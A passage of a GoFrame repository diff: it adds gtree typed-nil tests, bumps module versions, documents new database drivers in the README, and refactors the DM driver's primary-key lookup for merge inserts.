+		btree := gtree.NewBKVTree[int, *Student](100, gutil.ComparatorTStr[int], true)
+		for i := 0; i < 10; i++ {
+			if i%2 == 0 {
+				btree.Set(i, &Student{})
+			} else {
+				var s *Student = nil
+				btree.Set(i, s)
+			}
+		}
+		t.Assert(btree.Size(), 10)
+		btree2 := gtree.NewBKVTreeWithChecker[int, *Student](100, gutil.ComparatorTStr[int], func(student *Student) bool {
+			return student == nil
+		}, true)
+		for i := 0; i < 10; i++ {
+			if i%2 == 0 {
+				btree2.Set(i, &Student{})
+			} else {
+				var s *Student = nil
+				btree2.Set(i, s)
+			}
+		}
+		t.Assert(btree2.Size(), 5)
+	})
+
+}
+
+func Test_NewRedBlackKVTreeWithChecker_TypedNil(t *testing.T) {
+	gtest.C(t, func(t *gtest.T) {
+		type Student struct {
+			Name string
+			Age  int
+		}
+		redBlackTree := gtree.NewRedBlackKVTree[int, *Student](gutil.ComparatorTStr[int], true)
+		for i := 0; i < 10; i++ {
+			if i%2 == 0 {
+				redBlackTree.Set(i, &Student{})
+			} else {
+				var s *Student = nil
+				redBlackTree.Set(i, s)
+			}
+		}
+		t.Assert(redBlackTree.Size(), 10)
+		redBlackTree2 := gtree.NewRedBlackKVTreeWithChecker[int, *Student](gutil.ComparatorTStr[int], func(student *Student) bool {
+			return student == nil
+		}, true)
+
+		for i := 0; i < 10; i++ {
+			if i%2 == 0 {
+				redBlackTree2.Set(i, &Student{})
+			} else {
+				var s *Student = nil
+				redBlackTree2.Set(i, s)
+			}
+		}
+		t.Assert(redBlackTree2.Size(), 5)
+	})
+}

contrib/config/apollo/go.mod

@@ -4,7 +4,7 @@ go 1.23.0
 
 require (
 	github.com/apolloconfig/agollo/v4 v4.3.1
-	github.com/gogf/gf/v2 v2.9.6
+	github.com/gogf/gf/v2 v2.9.8
 )
 
 require (

contrib/config/consul/go.mod

@@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/config/consul/v2
 go 1.23.0
 
 require (
-	github.com/gogf/gf/v2 v2.9.6
+	github.com/gogf/gf/v2 v2.9.8
 	github.com/hashicorp/consul/api v1.24.0
 	github.com/hashicorp/go-cleanhttp v0.5.2
 )

contrib/config/kubecm/go.mod

@@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/config/kubecm/v2
 go 1.24.0
 
 require (
-	github.com/gogf/gf/v2 v2.9.6
+	github.com/gogf/gf/v2 v2.9.8
 	k8s.io/api v0.33.4
 	k8s.io/apimachinery v0.33.4
 	k8s.io/client-go v0.33.4

contrib/config/nacos/go.mod

@@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/config/nacos/v2
 go 1.23.0
 
 require (
-	github.com/gogf/gf/v2 v2.9.6
+	github.com/gogf/gf/v2 v2.9.8
 	github.com/nacos-group/nacos-sdk-go/v2 v2.3.3
 )
 

contrib/config/polaris/go.mod

@@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/config/polaris/v2
 go 1.23.0
 
 require (
-	github.com/gogf/gf/v2 v2.9.6
+	github.com/gogf/gf/v2 v2.9.8
 	github.com/polarismesh/polaris-go v1.6.1
 )
 

contrib/drivers/README.MD

@@ -9,14 +9,19 @@ Let's take `mysql` for example.
 
 ```shell
 go get github.com/gogf/gf/contrib/drivers/mysql/v2@latest
-# Easy to copy
+
+# Easy for copying:
 go get github.com/gogf/gf/contrib/drivers/clickhouse/v2@latest
 go get github.com/gogf/gf/contrib/drivers/dm/v2@latest
+go get github.com/gogf/gf/contrib/drivers/gaussdb/v2@latest
+go get github.com/gogf/gf/contrib/drivers/mariadb/v2@latest
 go get github.com/gogf/gf/contrib/drivers/mssql/v2@latest
+go get github.com/gogf/gf/contrib/drivers/oceanbase/v2@latest
 go get github.com/gogf/gf/contrib/drivers/oracle/v2@latest
 go get github.com/gogf/gf/contrib/drivers/pgsql/v2@latest
 go get github.com/gogf/gf/contrib/drivers/sqlite/v2@latest
 go get github.com/gogf/gf/contrib/drivers/sqlitecgo/v2@latest
+go get github.com/gogf/gf/contrib/drivers/tidb/v2@latest
 ```
 
 Choose and import the driver to your project:
@@ -43,12 +48,36 @@ func main() {
 
 ## Supported Drivers
 
-### MySQL/MariaDB/TiDB/OceanBase
+### MySQL
 
 ```go
 import _ "github.com/gogf/gf/contrib/drivers/mysql/v2"
 ```
 
+### MariaDB
+
+```go
+import _ "github.com/gogf/gf/contrib/drivers/mariadb/v2"
+```
+
+### TiDB
+
+```go
+import _ "github.com/gogf/gf/contrib/drivers/tidb/v2"
+```
+
+### OceanBase
+
+```go
+import _ "github.com/gogf/gf/contrib/drivers/oceanbase/v2"
+```
+
+### GaussDB
+
+```go
+import _ "github.com/gogf/gf/contrib/drivers/gaussdb/v2"
+```
+
 ### SQLite
 
 ```go
@@ -57,7 +86,7 @@ import _ "github.com/gogf/gf/contrib/drivers/sqlite/v2"
 
 #### cgo version
 
-When the target is a 32-bit Windows system, the cgo version needs to be used.
+When the target is a `32-bit` Windows system, the `cgo` version needs to be used.
 
 ```go
 import _ "github.com/gogf/gf/contrib/drivers/sqlitecgo/v2"
@@ -77,9 +106,10 @@ import _ "github.com/gogf/gf/contrib/drivers/mssql/v2"
 
 Note:
 
-- It does not support `Replace` features.
+- `InsertIgnore` returns error if there is no primary key or unique index submitted with record.
 - It supports server version >= `SQL Server2005`
-- It ONLY supports datetime2 and datetimeoffset types for auto handling created_at/updated_at/deleted_at columns, because datetime type does not support microseconds precision when column value is passed as string.
+- It ONLY supports `datetime2` and `datetimeoffset` types for auto handling created_at/updated_at/deleted_at columns, 
+  because datetime type does not support microseconds precision when column value is passed as string.
 
 ### Oracle
 
@@ -89,8 +119,8 @@ import _ "github.com/gogf/gf/contrib/drivers/oracle/v2"
 
 Note:
 
-- It does not support `Replace` features.
 - It does not support `LastInsertId`.
+- `InsertIgnore` returns error if there is no primary key or unique index submitted with record.
 
 ### ClickHouse
 
@@ -100,7 +130,7 @@ import _ "github.com/gogf/gf/contrib/drivers/clickhouse/v2"
 
 Note:
 
-- It does not support `InsertIgnore/InsertGetId` features.
+- It does not support `InsertIgnore/InsertAndGetId` features.
 - It does not support `Save/Replace` features.
 - It does not support `Transaction` feature.
 - It does not support `RowsAffected` feature.
@@ -111,6 +141,10 @@ Note:
 import _ "github.com/gogf/gf/contrib/drivers/dm/v2"
 ```
 
+Note:
+
+- `InsertIgnore` returns error if there is no primary key or unique index submitted with record.
+
 ## Custom Drivers
 
 It's quick and easy, please refer to current driver source.

contrib/drivers/clickhouse/go.mod

@@ -4,7 +4,7 @@ go 1.23.0
 
 require (
 	github.com/ClickHouse/clickhouse-go/v2 v2.0.15
-	github.com/gogf/gf/v2 v2.9.6
+	github.com/gogf/gf/v2 v2.9.8
 	github.com/google/uuid v1.6.0
 	github.com/shopspring/decimal v1.3.1
 )

contrib/drivers/dm/dm_do_insert.go

@@ -37,6 +37,12 @@ func (d *Driver) DoInsert(
 		return d.doInsertIgnore(ctx, link, table, list, option)
 
 	default:
+		// DM database supports IDENTITY auto-increment columns natively.
+		// The driver automatically returns LastInsertId through sql.Result.
+		//
+		// Note: DM IDENTITY columns cannot accept explicit ID values unless
+		// IDENTITY_INSERT is enabled. When using tables with IDENTITY columns,
+		// avoid providing explicit ID values in the data.
 		return d.Core.DoInsert(ctx, link, table, list, option)
 	}
 }
@@ -66,7 +72,7 @@ func (d *Driver) doMergeInsert(
 	// If OnConflict is not specified, automatically get the primary key of the table
 	conflictKeys := option.OnConflict
 	if len(conflictKeys) == 0 {
-		primaryKeys, err := d.getPrimaryKeys(ctx, table)
+		primaryKeys, err := d.Core.GetPrimaryKeys(ctx, table)
 		if err != nil {
 			return nil, gerror.WrapCode(
 				gcode.CodeInternalError,
@@ -76,17 +82,25 @@ func (d *Driver) doMergeInsert(
 		}
 		foundPrimaryKey := false
 		for _, primaryKey := range primaryKeys {
-			if _, ok := list[0][primaryKey]; ok {
-				foundPrimaryKey = true
+			for dataKey := range list[0] {
+				if strings.EqualFold(dataKey, primaryKey) {
+					foundPrimaryKey = true
+					break
+				}
+			}
+			if foundPrimaryKey {
 				break
 			}
 		}
 		if !foundPrimaryKey {
-			return nil, gerror.NewCode(
+			return nil, gerror.NewCodef(
 				gcode.CodeMissingParameter,
-				`Please specify conflict columns or ensure the record has a primary key for Save/Replace/InsertIgnore operation`,
+				`Replace/Save/InsertIgnore operation requires conflict detection: `+
+					`either specify OnConflict() columns or ensure table '%s' has a primary key in the data`,
+				table,
 			)
 		}
+		// TODO consider composite primary keys.
 		conflictKeys = primaryKeys
 	}
 
@@ -149,24 +163,6 @@ func (d *Driver) doMergeInsert(
 	return batchResult, nil
 }
 
-// getPrimaryKeys retrieves the primary key field names of the table as a slice of strings.
-// This method extracts primary key information from TableFields.
-func (d *Driver) getPrimaryKeys(ctx context.Context, table string) ([]string, error) {
-	tableFields, err := d.TableFields(ctx, table)
-	if err != nil {
-		return nil, err
-	}
-
-	var primaryKeys []string
-	for _, field := range tableFields {
-		if gstr.Equal(field.Key, "PRI") {
-			primaryKeys = append(primaryKeys, field.Name)
-		}
-	}
-
-	return primaryKeys, nil
-}
-
 // parseSqlForMerge generates MERGE statement for DM database.
 // When updateValues is empty, it only inserts (INSERT IGNORE behavior).
 // When updateValues is provided, it performs upsert (INSERT or UPDATE).

contrib/drivers/dm/dm_z_unit_basic_test.go

@@ -7,7 +7,6 @@
 package dm_test
 
 import (
-	"database/sql"
 	"fmt"
 	"strings"
 	"testing"
@@ -509,124 +508,3 @@ func Test_Empty_Slice_Argument(t *testing.T) {
 		t.Assert(len(result), 0)
 	})
 }
-
-func TestModelSave(t *testing.T) {
-	table := createTable()
-	defer dropTable(table)
-	gtest.C(t, func(t *gtest.T) {
-		type User struct {
-			Id          int
-			AccountName string
-			AttrIndex   int
-		}
-		var (
-			user   User
-			count  int
-			result sql.Result
-			err    error
-		)
-
-		result, err = db.Model(table).Data(g.Map{
-			"id":          1,
-			"accountName": "ac1",
-			"attrIndex":   100,
-		}).OnConflict("id").Save()
-
-		t.AssertNil(err)
-		n, _ := result.RowsAffected()
-		t.Assert(n, 1)
-
-		err = db.Model(table).Scan(&user)
-		t.AssertNil(err)
-		t.Assert(user.Id, 1)
-		t.Assert(user.AccountName, "ac1")
-		t.Assert(user.AttrIndex, 100)
-
-		_, err = db.Model(table).Data(g.Map{
-			"id":          1,
-			"accountName": "ac2",
-			"attrIndex":   200,
-		}).OnConflict("id").Save()
-		t.AssertNil(err)
-
-		err = db.Model(table).Scan(&user)
-		t.AssertNil(err)
-		t.Assert(user.AccountName, "ac2")
-		t.Assert(user.AttrIndex, 200)
-
-		count, err = db.Model(table).Count()
-		t.AssertNil(err)
-		t.Assert(count, 1)
-	})
-}
-
-func TestModelInsert(t *testing.T) {
-	// g.Model.insert not lost default not null column
-	table := "A_tables"
-	createInitTable(table)
-	gtest.C(t, func(t *gtest.T) {
-		i := 200
-		data := User{
-			ID:          int64(i),
-			AccountName: fmt.Sprintf(`A%dtwo`, i),
-			PwdReset:    0,
-			AttrIndex:   99,
-			CreatedTime: time.Now(),
-			UpdatedTime: time.Now(),
-		}
-		// _, err := db.Schema(TestDBName).Model(table).Data(data).Insert()
-		_, err := db.Model(table).Insert(&data)
-		gtest.AssertNil(err)
-	})
-
-	gtest.C(t, func(t *gtest.T) {
-		i := 201
-		data := User{
-			ID:          int64(i),
-			AccountName: fmt.Sprintf(`A%dtwoONE`, i),
-			PwdReset:    1,
-			CreatedTime: time.Now(),
-			AttrIndex:   98,
-			UpdatedTime: time.Now(),
-		}
-		// _, err := db.Schema(TestDBName).Model(table).Data(data).Insert()
-		_, err := db.Model(table).Data(&data).Insert()
-		gtest.AssertNil(err)
-	})
-}
-
-func Test_Model_InsertIgnore(t *testing.T) {
-	table := createInitTable()
-	defer dropTable(table)
-
-	// db.SetDebug(true)
-
-	gtest.C(t, func(t *gtest.T) {
-		data := User{
-			ID:          int64(666),
-			AccountName: fmt.Sprintf(`name_%d`, 666),
-			PwdReset:    0,
-			AttrIndex:   99,
-			CreatedTime: time.Now(),
-			UpdatedTime: time.Now(),
-		}
-		_, err := db.Model(table).Data(data).Insert()
-		t.AssertNil(err)
-	})
-	gtest.C(t, func(t *gtest.T) {
-		data := User{
-			ID:          int64(666),
-			AccountName: fmt.Sprintf(`name_%d`, 777),
-			PwdReset:    0,
-			AttrIndex:   99,
-			CreatedTime: time.Now(),
-			UpdatedTime: time.Now(),
-		}
-		_, err := db.Model(table).Data(data).InsertIgnore()
-		t.AssertNil(err)
-
-		one, err := db.Model(table).Where("id", 666).One()
-		t.AssertNil(err)
-		t.Assert(one["ACCOUNT_NAME"].String(), "name_666")
-	})
-}